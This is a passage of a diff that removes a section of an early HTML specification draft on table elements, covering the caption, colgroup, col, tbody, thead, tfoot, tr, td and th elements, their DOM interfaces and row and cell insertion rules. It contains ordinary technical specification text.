-   title=dom-table-createCaption><code>createCaption()</code></dfn> method
-   must return a new <code><a href="#caption1">caption</a></code> element.
-
-  <p>The <dfn id=deletecaption
-   title=dom-table-deleteCaption><code>deleteCaption()</code></dfn> method
-   must remove the first <code><a href="#caption1">caption</a></code> element
-   child of the <code><a href="#table0">table</a></code> element, if any.
-
-  <p>The <dfn id=thead0 title=dom-table-tHead><code>tHead</code></dfn> DOM
-   attribute must return, on getting, the first <code><a
-   href="#thead1">thead</a></code> element child of the <code><a
-   href="#table0">table</a></code> element. On setting, the first <code><a
-   href="#thead1">thead</a></code> element child of the <code><a
-   href="#table0">table</a></code> element, if any, must be removed, and the
-   new value must be inserted immediately before the first element in the
-   <code><a href="#table0">table</a></code> element that is neither a
-   <code><a href="#caption1">caption</a></code> element nor a <code><a
-   href="#colgroup0">colgroup</a></code> element.
-
-  <p>The <dfn id=createthead
-   title=dom-table-createTHead><code>createTHead()</code></dfn> method must
-   return a new <code><a href="#thead1">thead</a></code> element.
-
-  <p>The <dfn id=deletethead
-   title=dom-table-deleteTHead><code>deleteTHead()</code></dfn> method must
-   remove the first <code><a href="#thead1">thead</a></code> element child of
-   the <code><a href="#table0">table</a></code> element, if any.
-
-  <p>The <dfn id=tfoot0 title=dom-table-tFoot><code>tFoot</code></dfn> DOM
-   attribute must return, on getting, the first <code><a
-   href="#tfoot1">tfoot</a></code> element child of the <code><a
-   href="#table0">table</a></code> element. On setting, the first <code><a
-   href="#tfoot1">tfoot</a></code> element child of the <code><a
-   href="#table0">table</a></code> element, if any, must be removed, and the
-   new value must be inserted immediately before the first element in the
-   <code><a href="#table0">table</a></code> element that is neither a
-   <code><a href="#caption1">caption</a></code> element, a <code><a
-   href="#colgroup0">colgroup</a></code> element, nor a <code><a
-   href="#thead1">thead</a></code> element.
-
-  <p>The <dfn id=createtfoot
-   title=dom-table-createTFoot><code>createTFoot()</code></dfn> method must
-   return a new <code><a href="#tfoot1">tfoot</a></code> element.
-
-  <p>The <dfn id=deletetfoot
-   title=dom-table-deleteTFoot><code>deleteTFoot()</code></dfn> method must
-   remove the first <code><a href="#tfoot1">tfoot</a></code> element child of
-   the <code><a href="#table0">table</a></code> element, if any.
-
-  <p>The <dfn id=tbodies title=dom-table-tBodies><code>tBodies</code></dfn>
-   attribute must return an <code><a
-   href="#htmlcollection0">HTMLCollection</a></code> rooted at the <code><a
-   href="#table0">table</a></code> node, whose filter matches only <code><a
-   href="#tbody0">tbody</a></code> elements that are children.
-
-  <p>The <dfn id=rows title=dom-table-rows><code>rows</code></dfn> attribute
-   must return an <code><a href="#htmlcollection0">HTMLCollection</a></code>
-   rooted at the <code><a href="#table0">table</a></code> node, whose filter
-   matches only <code><a href="#tr0">tr</a></code> elements that are either
-   children of the <code><a href="#table0">table</a></code> element, or
-   children of <code><a href="#thead1">thead</a></code>, <code><a
-   href="#tbody0">tbody</a></code>, or <code><a
-   href="#tfoot1">tfoot</a></code> elements that are themselves children of
-   the <code><a href="#table0">table</a></code> element. The elements in the
-   collection must be ordered such that those elements whose parent is a
-   <code><a href="#thead1">thead</a></code> are included first, in tree
-   order, followed by those elements whose parent is either a <code><a
-   href="#table0">table</a></code> or <code><a
-   href="#tbody0">tbody</a></code> element, again in tree order, followed
-   finally by those elements whose parent is a <code><a
-   href="#tfoot1">tfoot</a></code> element, still in tree order.
-
-  <p>The behaviour of the <dfn id=insertrow
-   title=dom-table-insertRow><code>insertRow(<var
-   title="">index</var>)</code></dfn> method depends on the state of the
-   table. When it is called, the method must act as required by the first
-   item in the following list of conditions that describes the state of the
-   table and the <var title="">index</var> argument:
-
-  <dl class=switch>
-   <dt>If <var title="">index</var> is less than -1 or greater than the
-    number of elements in <code title=dom-table-rows><a
-    href="#rows">rows</a></code> collection:
-
-   <dd>The method must raise an <code>INDEX_SIZE_ERR</code> exception.
-
-   <dt>If the <code title=dom-table-rows><a href="#rows">rows</a></code>
-    collection has zero elements in it, and the <code><a
-    href="#table0">table</a></code> has no <code><a
-    href="#tbody0">tbody</a></code> elements in it:
-
-   <dd>The method must create a <code><a href="#tbody0">tbody</a></code>
-    element, then create a <code><a href="#tr0">tr</a></code> element, then
-    append the <code><a href="#tr0">tr</a></code> element to the <code><a
-    href="#tbody0">tbody</a></code> element, then append the <code><a
-    href="#tbody0">tbody</a></code> element to the <code><a
-    href="#table0">table</a></code> element, and finally return the <code><a
-    href="#tr0">tr</a></code> element.
-
-   <dt>If the <code title=dom-table-rows><a href="#rows">rows</a></code>
-    collection has zero elements in it:
-
-   <dd>The method must create a <code><a href="#tr0">tr</a></code> element,
-    append it to the last <code><a href="#tbody0">tbody</a></code> element in
-    the table, and return the <code><a href="#tr0">tr</a></code> element.
-
-   <dt>If <var title="">index</var> is equal to -1 or equal to the number of
-    items in <code title=dom-table-rows><a href="#rows">rows</a></code>
-    collection:
-
-   <dd>The method must create a <code><a href="#tr0">tr</a></code> element,
-    and append it to the parent of the last <code><a
-    href="#tr0">tr</a></code> element in the <code title=dom-table-rows><a
-    href="#rows">rows</a></code> collection. Then, the newly created <code><a
-    href="#tr0">tr</a></code> element must be returned.
-
-   <dt>Otherwise:
-
-   <dd>The method must create a <code><a href="#tr0">tr</a></code> element,
-    insert it immediately before the <var title="">index</var>th <code><a
-    href="#tr0">tr</a></code> element in the <code title=dom-table-rows><a
-    href="#rows">rows</a></code> collection, in the same parent, and finally
-    must return the newly created <code><a href="#tr0">tr</a></code> element.
-  </dl>
-
-  <p>The <dfn id=deleterow title=dom-table-deleteRow><code>deleteRow(<var
-   title="">index</var>)</code></dfn> method must remove the <var
-   title="">index</var>th element in the <code title=dom-table-rows><a
-   href="#rows">rows</a></code> collection from its parent. If <var
-   title="">index</var> is less than zero or greater than or equal to the
-   number of elements in the <code title=dom-table-rows><a
-   href="#rows">rows</a></code> collection, the method must instead raise an
-   <code>INDEX_SIZE_ERR</code> exception.
-
-  <h4 id=the-caption><span class=secno>3.15.2. </span>The <dfn
-   id=caption1><code>caption</code></dfn> element</h4>
-  <!-- element has no special category -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As the first element child of a <code><a
-    href="#table0">table</a></code> element.
-
-   <dt>Content model:
-
-   <dd><a href="#significant" title="significant inline
-    content">Significant</a> <a href="#strictly">strictly inline-level
-    content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#caption1">caption</a></code> element represents the
-   title of the <code><a href="#table0">table</a></code> that is its parent,
-   if it has a parent and that is a <code><a href="#table0">table</a></code>
-   element.
-
-  <p>The <code><a href="#caption1">caption</a></code> element takes part in
-   the <a href="#table1">table model</a>.
-
-  <h4 id=the-colgroup><span class=secno>3.15.3. </span>The <dfn
-   id=colgroup0><code>colgroup</code></dfn> element</h4>
-  <!-- element has no special category -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As a child of a <code><a href="#table0">table</a></code> element,
-    after any <code><a href="#caption1">caption</a></code> elements and
-    before any <code><a href="#thead1">thead</a></code>, <code><a
-    href="#tbody0">tbody</a></code>, <code><a
-    href="#tfoot1">tfoot</a></code>, and <code><a href="#tr0">tr</a></code>
-    elements.
-
-   <dt>Content model:
-
-   <dd>Zero or more <code><a href="#col0">col</a></code> elements.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-colgroup-span><a href="#span1">span</a></code>, but
-    only if the element contains no <code><a href="#col0">col</a></code>
-    elements
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmltablecolelement>HTMLTableColElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute unsigned long <a href="#span2" title=dom-colgroup-span>span</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#colgroup0">colgroup</a></code> element represents a
-   <a href="#column0" title=concept-column-group>group</a> of one or more <a
-   href="#column" title=concept-column>columns</a> in the <code><a
-   href="#table0">table</a></code> that is its parent, if it has a parent and
-   that is a <code><a href="#table0">table</a></code> element.
-
-  <p>If the <code><a href="#colgroup0">colgroup</a></code> element contains
-   no <code><a href="#col0">col</a></code> elements, then the element may
-   have a <dfn id=span1 title=attr-colgroup-span><code>span</code></dfn>
-   content attribute specified, whose value must be a <a href="#valid">valid
-   non-negative integer</a> greater than zero. Its default value, which must
-   be used if <a href="#rules" title="rules for parsing non-negative
-   integers">parsing the attribute as a non-negative integer</a> returns
-   either an error or zero, is 1.
-
-  <p>The <code><a href="#colgroup0">colgroup</a></code> element and its <code
-   title=attr-colgroup-span><a href="#span1">span</a></code> attribute take
-   part in the <a href="#table1">table model</a>.
-
-  <p>The <dfn id=span2 title=dom-colgroup-span><code>span</code></dfn> DOM
-   attribute must <a href="#reflect">reflect</a> the content attribute of the
-   same name, with the exception that on setting, if the new value is 0, then
-   an <code>INDEX_SIZE_ERR</code> exception must be raised.
-
-  <h4 id=the-col><span class=secno>3.15.4. </span>The <dfn
-   id=col0><code>col</code></dfn> element</h4>
-  <!-- element has no special category -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As a child of a <code><a href="#colgroup0">colgroup</a></code> element
-    that doesn't have a <code title=attr-col-span><a
-    href="#span3">span</a></code> attribute.
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-col-span><a href="#span3">span</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <p><code><a href="#htmltablecolelement">HTMLTableColElement</a></code>,
-     same as for <code><a href="#colgroup0">colgroup</a></code> elements.
-     This interface defines one member, <code title=dom-col-span><a
-     href="#span4">span</a></code>.</p>
-  </dl>
-
-  <p>If a <code><a href="#col0">col</a></code> element has a parent and that
-   is a <code><a href="#colgroup0">colgroup</a></code> element that itself
-   has a parent that is a <code><a href="#table0">table</a></code> element,
-   then the <code><a href="#col0">col</a></code> element represents one or
-   more <a href="#column" title=concept-column>columns</a> in the <a
-   href="#column0" title=concept-column-group>column group</a> represented by
-   that <code><a href="#colgroup0">colgroup</a></code>.
-
-  <p>The element may have a <dfn id=span3
-   title=attr-col-span><code>span</code></dfn> content attribute specified,
-   whose value must be a <a href="#valid">valid non-negative integer</a>
-   greater than zero. Its default value, which must be used if <a
-   href="#rules" title="rules for parsing non-negative integers">parsing the
-   attribute as a non-negative integer</a> returns either an error or zero,
-   is 1.
-
-  <p>The <code><a href="#col0">col</a></code> element and its <code
-   title=attr-col-span><a href="#span3">span</a></code> attribute take part
-   in the <a href="#table1">table model</a>.
-
-  <p>The <dfn id=span4 title=dom-col-span><code>span</code></dfn> DOM
-   attribute must <a href="#reflect">reflect</a> the content attribute of the
-   same name, with the exception that on setting, if the new value is 0, then
-   an <code>INDEX_SIZE_ERR</code> exception must be raised.
-
-  <h4 id=the-tbody><span class=secno>3.15.5. </span>The <dfn
-   id=tbody0><code>tbody</code></dfn> element</h4>
-  <!-- element has no special category -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As a child of a <code><a href="#table0">table</a></code> element,
-    after any <code><a href="#caption1">caption</a></code>, <code><a
-    href="#colgroup0">colgroup</a></code>, and <code><a
-    href="#thead1">thead</a></code> elements, but only if there are no
-    <code><a href="#tr0">tr</a></code> elements that are children of the
-    <code><a href="#table0">table</a></code> element.
-
-   <dt>Content model:
-
-   <dd>One or more <code><a href="#tr0">tr</a></code> elements
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmltablesectionelement>HTMLTableSectionElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#rows0" title=dom-tbody-rows>rows</a>;
-  <a href="#htmlelement">HTMLElement</a> <a href="#insertrow0" title=dom-tbody-insertRow>insertRow</a>(in long index);
-  void <a href="#deleterow0" title=dom-tbody-deleteRow>deleteRow</a>(in long index);
-};</pre>
-
-    <p>The <code><a
-     href="#htmltablesectionelement">HTMLTableSectionElement</a></code>
-     interface is also used for <code><a href="#thead1">thead</a></code> and
-     <code><a href="#tfoot1">tfoot</a></code> elements.</p>
-  </dl>
-
-  <p>The <code><a href="#tbody0">tbody</a></code> element represents a <a
-   href="#row-group" title=concept-row-group>block</a> of <a href="#row"
-   title=concept-row>rows</a> that consist of a body of data for the parent
-   <code><a href="#table0">table</a></code> element, if the <code><a
-   href="#thead1">thead</a></code> element has a parent and it is a <code><a
-   href="#table0">table</a></code>.
-
-  <p>The <code><a href="#tbody0">tbody</a></code> element takes part in the
-   <a href="#table1">table model</a>.
-
-  <p>The <dfn id=rows0 title=dom-tbody-rows><code>rows</code></dfn> attribute
-   must return an <code><a href="#htmlcollection0">HTMLCollection</a></code>
-   rooted at the element, whose filter matches only <code><a
-   href="#tr0">tr</a></code> elements that are children of the element.
-
-  <p>The <dfn id=insertrow0 title=dom-tbody-insertRow><code>insertRow(<var
-   title="">index</var>)</code></dfn> method must, when invoked on an element
-   <var title="">table section</var>, act as follows:
-
-  <p>If <var title="">index</var> is less than -1 or greater than the number
-   of elements in the <code title=dom-tbody-rows><a
-   href="#rows0">rows</a></code> collection, the method must raise an
-   <code>INDEX_SIZE_ERR</code> exception.
-
-  <p>If <var title="">index</var> is equal to -1 or equal to the number of
-   items in the <code title=dom-tbody-rows><a href="#rows0">rows</a></code>
-   collection, the method must create a <code><a href="#tr0">tr</a></code>
-   element, append it to the element <var title="">table section</var>, and
-   return the newly created <code><a href="#tr0">tr</a></code> element.
-
-  <p>Otherwise, the method must create a <code><a href="#tr0">tr</a></code>
-   element, insert it as a child of the <var title="">table section</var>
-   element, immediately before the <var title="">index</var>th <code><a
-   href="#tr0">tr</a></code> element in the <code title=dom-tbody-rows><a
-   href="#rows0">rows</a></code> collection, and finally must return the
-   newly created <code><a href="#tr0">tr</a></code> element.
-
-  <p>The <dfn id=deleterow0 title=dom-tbody-deleteRow><code>deleteRow(<var
-   title="">index</var>)</code></dfn> method must remove the <var
-   title="">index</var>th element in the <code title=dom-tbody-rows><a
-   href="#rows0">rows</a></code> collection from its parent. If <var
-   title="">index</var> is less than zero or greater than or equal to the
-   number of elements in the <code title=dom-tbody-rows><a
-   href="#rows0">rows</a></code> collection, the method must instead raise an
-   <code>INDEX_SIZE_ERR</code> exception.
-
-  <h4 id=the-thead><span class=secno>3.15.6. </span>The <dfn
-   id=thead1><code>thead</code></dfn> element</h4>
-  <!-- element has no special category -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As a child of a <code><a href="#table0">table</a></code> element,
-    after any <code><a href="#caption1">caption</a></code>, and <code><a
-    href="#colgroup0">colgroup</a></code> elements and before any <code><a
-    href="#tbody0">tbody</a></code>, <code><a
-    href="#tfoot1">tfoot</a></code>, and <code><a href="#tr0">tr</a></code>
-    elements, but only if there are no other <code><a
-    href="#thead1">thead</a></code> elements that are children of the
-    <code><a href="#table0">table</a></code> element.
-
-   <dt>Content model:
-
-   <dd>One or more <code><a href="#tr0">tr</a></code> elements
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd><code><a
-    href="#htmltablesectionelement">HTMLTableSectionElement</a></code>, as
-    defined for <code><a href="#tbody0">tbody</a></code> elements.
-  </dl>
-
-  <p>The <code><a href="#thead1">thead</a></code> element represents the <a
-   href="#row-group" title=concept-row-group>block</a> of <a href="#row"
-   title=concept-row>rows</a> that consist of the column labels (headers) for
-   the parent <code><a href="#table0">table</a></code> element, if the
-   <code><a href="#thead1">thead</a></code> element has a parent and it is a
-   <code><a href="#table0">table</a></code>.
-
-  <p>The <code><a href="#thead1">thead</a></code> element takes part in the
-   <a href="#table1">table model</a>.
-
-  <h4 id=the-tfoot><span class=secno>3.15.7. </span>The <dfn
-   id=tfoot1><code>tfoot</code></dfn> element</h4>
-  <!-- element has no special category -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As a child of a <code><a href="#table0">table</a></code> element,
-    after any <code><a href="#caption1">caption</a></code>, <code><a
-    href="#colgroup0">colgroup</a></code>, and <code><a
-    href="#thead1">thead</a></code> elements and before any <code><a
-    href="#tbody0">tbody</a></code> and <code><a href="#tr0">tr</a></code>
-    elements, but only if there are no other <code><a
-    href="#tfoot1">tfoot</a></code> elements that are children of the
-    <code><a href="#table0">table</a></code> element.
-
-   <dd>As a child of a <code><a href="#table0">table</a></code> element,
-    after any <code><a href="#caption1">caption</a></code>, <code><a
-    href="#colgroup0">colgroup</a></code>, <code><a
-    href="#thead1">thead</a></code>, <code><a
-    href="#tbody0">tbody</a></code>, and <code><a href="#tr0">tr</a></code>
-    elements, but only if there are no other <code><a
-    href="#tfoot1">tfoot</a></code> elements that are children of the
-    <code><a href="#table0">table</a></code> element.
-
-   <dt>Content model:
-
-   <dd>One or more <code><a href="#tr0">tr</a></code> elements
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd><code><a
-    href="#htmltablesectionelement">HTMLTableSectionElement</a></code>, as
-    defined for <code><a href="#tbody0">tbody</a></code> elements.
-  </dl>
-
-  <p>The <code><a href="#tfoot1">tfoot</a></code> element represents the <a
-   href="#row-group" title=concept-row-group>block</a> of <a href="#row"
-   title=concept-row>rows</a> that consist of the column summaries (footers)
-   for the parent <code><a href="#table0">table</a></code> element, if the
-   <code><a href="#thead1">thead</a></code> element has a parent and it is a
-   <code><a href="#table0">table</a></code>.
-
-  <p>The <code><a href="#tfoot1">tfoot</a></code> element takes part in the
-   <a href="#table1">table model</a>.
-
-  <h4 id=the-tr><span class=secno>3.15.8. </span>The <dfn
-   id=tr0><code>tr</code></dfn> element</h4>
-  <!-- element has no special category -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As a child of a <code><a href="#thead1">thead</a></code> element.
-
-   <dd>As a child of a <code><a href="#tbody0">tbody</a></code> element.
-
-   <dd>As a child of a <code><a href="#tfoot1">tfoot</a></code> element.
-
-   <dd>As a child of a <code><a href="#table0">table</a></code> element,
-    after any <code><a href="#caption1">caption</a></code>, <code><a
-    href="#colgroup0">colgroup</a></code>, and <code><a
-    href="#thead1">thead</a></code> elements, but only if there are no
-    <code><a href="#tbody0">tbody</a></code> elements that are children of
-    the <code><a href="#table0">table</a></code> element.
-
-   <dt>Content model:
-
-   <dd>One or more <code><a href="#td0">td</a></code> or <code><a
-    href="#th0">th</a></code> elements
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmltablerowelement>HTMLTableRowElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-  readonly attribute long <a href="#rowindex" title=dom-tr-rowIndex>rowIndex</a>;
-  readonly attribute long <a href="#rowindex0" title=dom-tr-sectionRowIndex>sectionRowIndex</a>;
-  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#cells" title=dom-tr-cells>cells</a>;
-  <a href="#htmlelement">HTMLElement</a> <a href="#insertcell" title=dom-tr-insertCell>insertCell</a>(in long index);
-  void <span>deleteCell</span>(in long index);
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#tr0">tr</a></code> element represents a <a
-   href="#row" title=concept-row>row</a> of <a href="#cell"
-   title=concept-cell>cells</a> in a <a href="#table2"
-   title=concept-table>table</a>.
-
-  <p>The <code><a href="#tr0">tr</a></code> element takes part in the <a
-   href="#table1">table model</a>.
-
-  <p>The <dfn id=rowindex title=dom-tr-rowIndex><code>rowIndex</code></dfn>
-   element must, if the element has a parent <code><a
-   href="#table0">table</a></code> element, or a parent <code><a
-   href="#tbody0">tbody</a></code>, <code><a href="#thead1">thead</a></code>,
-   or <code><a href="#tfoot1">tfoot</a></code> element and a
-   <em>grandparent</em> <code><a href="#table0">table</a></code> element,
-   return the index of the <code><a href="#tr0">tr</a></code> element in that
-   <code><a href="#table0">table</a></code> element's <code
-   title=dom-table-rows><a href="#rows">rows</a></code> collection. If there
-   is no such <code><a href="#table0">table</a></code> element, then the
-   attribute must return 0.
-
-  <p>The <dfn id=rowindex0
-   title=dom-tr-sectionRowIndex><code>rowIndex</code></dfn> element must, if
-   the element has a parent <code><a href="#table0">table</a></code>,
-   <code><a href="#tbody0">tbody</a></code>, <code><a
-   href="#thead1">thead</a></code>, or <code><a
-   href="#tfoot1">tfoot</a></code> element, return the index of the <code><a
-   href="#tr0">tr</a></code> element in the parent element's <code
-   title="">rows</code> collection (for tables, that's the <code
-   title=dom-table-rows><a href="#rows">rows</a></code> collection; for table
-   sections, that's the <code title=dom-tbody-rows><a
-   href="#rows0">rows</a></code> collection). If there is no such parent
-   element, then the attribute must return 0.
-
-  <p>The <dfn id=cells title=dom-tr-cells><code>cells</code></dfn> attribute
-   must return an <code><a href="#htmlcollection0">HTMLCollection</a></code>
-   rooted at the <code><a href="#tr0">tr</a></code> element, whose filter
-   matches only <code><a href="#td0">td</a></code> and <code><a
-   href="#th0">th</a></code> elements that are children of the <code><a
-   href="#tr0">tr</a></code> element.
-
-  <p>The <dfn id=insertcell title=dom-tr-insertCell><code>insertCell(<var
-   title="">index</var>)</code></dfn> method must act as follows:
-
-  <p>If <var title="">index</var> is less than -1 or greater than the number
-   of elements in the <code title=dom-tr-cells><a
-   href="#cells">cells</a></code> collection, the method must raise an
-   <code>INDEX_SIZE_ERR</code> exception.
-
-  <p>If <var title="">index</var> is equal to -1 or equal to the number of
-   items in <code title=dom-tr-cells><a href="#cells">cells</a></code>
-   collection, the method must create a <code><a href="#td0">td</a></code>
-   element, append it to the <code><a href="#tr0">tr</a></code> element, and
-   return the newly created <code><a href="#td0">td</a></code> element.
-
-  <p>Otherwise, the method must create a <code><a href="#td0">td</a></code>
-   element, insert it as a child of the <code><a href="#tr0">tr</a></code>
-   element, immediately before the <var title="">index</var>th <code><a
-   href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element in
-   the <code title=dom-tr-cells><a href="#cells">cells</a></code> collection,
-   and finally must return the newly created <code><a
-   href="#td0">td</a></code> element.
-
-  <p>The <dfn id=deletecell title=dom-tr-deleteCell><code>deleteCell(<var
-   title="">index</var>)</code></dfn> method must remove the <var
-   title="">index</var>th element in the <code title=dom-tr-cells><a
-   href="#cells">cells</a></code> collection from its parent. If <var
-   title="">index</var> is less than zero or greater than or equal to the
-   number of elements in the <code title=dom-tr-cells><a
-   href="#cells">cells</a></code> collection, the method must instead raise
-   an <code>INDEX_SIZE_ERR</code> exception.
-
-  <h4 id=the-td><span class=secno>3.15.9. </span>The <dfn
-   id=td0><code>td</code></dfn> element</h4>
-  <!-- element has no special category -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As a child of a <code><a href="#tr0">tr</a></code> element.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>, or <a
-    href="#inline-level1">inline-level content</a> (but not both).
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-td-colspan><a href="#colspan">colspan</a></code>
-
-   <dd><code title=attr-td-rowspan><a href="#rowspan">rowspan</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmltablecellelement>HTMLTableCellElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute long <a href="#colspan0" title=dom-td-colSpan>colSpan</a>;
-           attribute long <a href="#rowspan0" title=dom-td-rowSpan>rowSpan</a>;
-  readonly attribute long <a href="#cellindex" title=dom-td-cellIndex>cellIndex</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#td0">td</a></code> element represents a data <a
-   href="#cell" title=concept-cell>cell</a> in a table.
-
-  <p>The <code><a href="#td0">td</a></code> element may have a <dfn
-   id=colspan title=attr-td-colspan><code>colspan</code></dfn> content
-   attribute specified, whose value must be a <a href="#valid">valid
-   non-negative integer</a> greater than zero. Its default value, which must
-   be used if <a href="#rules" title="rules for parsing non-negative
-   integers">parsing the attribute as a non-negative integer</a> returns
-   either an error or zero, is 1.
-
-  <p>The <code><a href="#td0">td</a></code> element may also have a <dfn
-   id=rowspan title=attr-td-rowspan><code>rowspan</code></dfn> content
-   attribute specified, whose value must be a <a href="#valid">valid
-   non-negative integer</a>. Its default value, which must be used if <a
-   href="#rules" title="rules for parsing non-negative integers">parsing the
-   attribute as a non-negative integer</a> returns an error, is also 1.
-
-  <p>The <code><a href="#td0">td</a></code> element and its <code
-   title=attr-td-colspan><a href="#colspan">colspan</a></code> and <code
-   title=attr-td-rowspan><a href="#rowspan">rowspan</a></code> attributes
-   take part in the <a href="#table1">table model</a>.
-
-  <p>The <dfn id=colspan0 title=dom-td-colspan><code>colspan</code></dfn> DOM
-   attribute must <a href="#reflect">reflect</a> the content attribute of the
-   same name, with the exception that on setting, if the new value is 0, then
-   an <code>INDEX_SIZE_ERR</code> exception must be raised.
-
-  <p>The <dfn id=rowspan0 title=dom-td-rowspan><code>rowspan</code></dfn> DOM
-   attribute must <a href="#reflect">reflect</a> the content attribute of the
-   same name.
-
-  <p>The <dfn id=cellindex
-   title=dom-td-cellIndex><code>cellIndex</code></dfn> DOM attribute must, if
-   the element has a parent <code><a href="#tr0">tr</a></code> element,
-   return the index of the cell's element in the parent element's <code
-   title=dom-tr-cells><a href="#cells">cells</a></code> collection. If there
-   is no such parent element, then the attribute must return 0.
-
-  <h4 id=the-th><span class=secno>3.15.10. </span>The <dfn
-   id=th0><code>th</code></dfn> element</h4>
-  <!-- element has no special category -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As a child of a <code><a href="#tr0">tr</a></code> element.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>, or <a
-    href="#inline-level1">inline-level content</a> (but not both).
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-th-colspan><a href="#colspan1">colspan</a></code>
-
-   <dd><code title=attr-th-rowspan><a href="#rowspan1">rowspan</a></code>
-
-   <dd><code title=attr-th-scope><a href="#scope0">scope</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmltableheadercellelement>HTMLTableHeaderCellElement</dfn> : <a href="#htmltablecellelement">HTMLTableCellElement</a> {
-           attribute DOMString <a href="#scope1" title=dom-th-scope>scope</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#th0">th</a></code> element represents a header <a
-   href="#cell" title=concept-cell>cell</a> in a table.
-
-  <p>The <code><a href="#th0">th</a></code> element may have a <dfn
-   id=colspan1 title=attr-th-colspan><code>colspan</code></dfn> content
-   attribute specified, whose value must be a <a href="#valid">valid
-   non-negative integer</a> greater than zero. Its default value, which must
-   be used if <a href="#rules" title="rules for parsing non-negative
-   integers">parsing the attribute as a non-negative integer</a> returns
-   either an error or zero, is 1.
-
-  <p>The <code><a href="#th0">th</a></code> element may also have a <dfn
-   id=rowspan1 title=attr-th-rowspan><code>rowspan</code></dfn> content
-   attribute specified, whose value must be a <a href="#valid">valid
-   non-negative integer</a>. Its default value, which must be used if <a
-   href="#rules" title="rules for parsing non-negative integers">parsing the
-   attribute as a non-negative integer</a> returns an error, is also 1.
-
-  <p>The <code><a href="#th0">th</a></code> element may have a <dfn id=scope0
-   title=attr-th-scope><code>scope</code></dfn> content attribute specified,
-   whose value must be one of the following literal strings: <code
-   title=attr-th-scope-row>row</code>, <code
-   title=attr-th-scope-cell>cell</code>, <code
-   title=attr-th-scope-row>rowgroup</code>, or <code
-   title=attr-th-scope-cell>cellgroup</code>.
-
-  <p>The <code><a href="#th0">th</a></code> element and its <code
-   title=attr-th-colspan><a href="#colspan1">colspan</a></code>, <code
-   title=attr-th-rowspan><a href="#rowspan1">rowspan</a></code>, and <code
-   title=attr-th-scope><a href="#scope0">scope</a></code> attributes take
-   part in the <a href="#table1">table model</a>.
-
-  <p>The <dfn id=scope1 title=dom-th-scope><code>scope</code></dfn> DOM
-   attribute must <a href="#reflect">reflect</a> the content attribute of the
-   same name.
-
-  <p>The <code><a
-   href="#htmltableheadercellelement">HTMLTableHeaderCellElement</a></code>
-   interface inherits from the <code><a
-   href="#htmltablecellelement">HTMLTableCellElement</a></code> interface and
-   therefore also has the DOM attributes defined above in the <code><a
-   href="#td0">td</a></code> section.
-
-  <h4 id=processing><span class=secno>3.15.11. </span>Processing model</h4>
-
-  <p>The various table elements and their content attributes together define
-   the <dfn id=table1>table model</dfn>.
-
-  <p>A <dfn id=table2 title=concept-table>table</dfn> consists of cells
-   aligned on a two-dimensional grid of <dfn id=slots
-   title=concept-slots>slots</dfn> with coordinates (<var title="">x</var>,
-   <var title="">y</var>). The grid is finite, and is either empty or has one
-   or more slots. If the grid has one or more slots, then the <var
-   title="">x</var> coordinates are always in the range
-   <span>1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">x</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-   title="">x<sub title="">max</sub></var></span>, and the <var
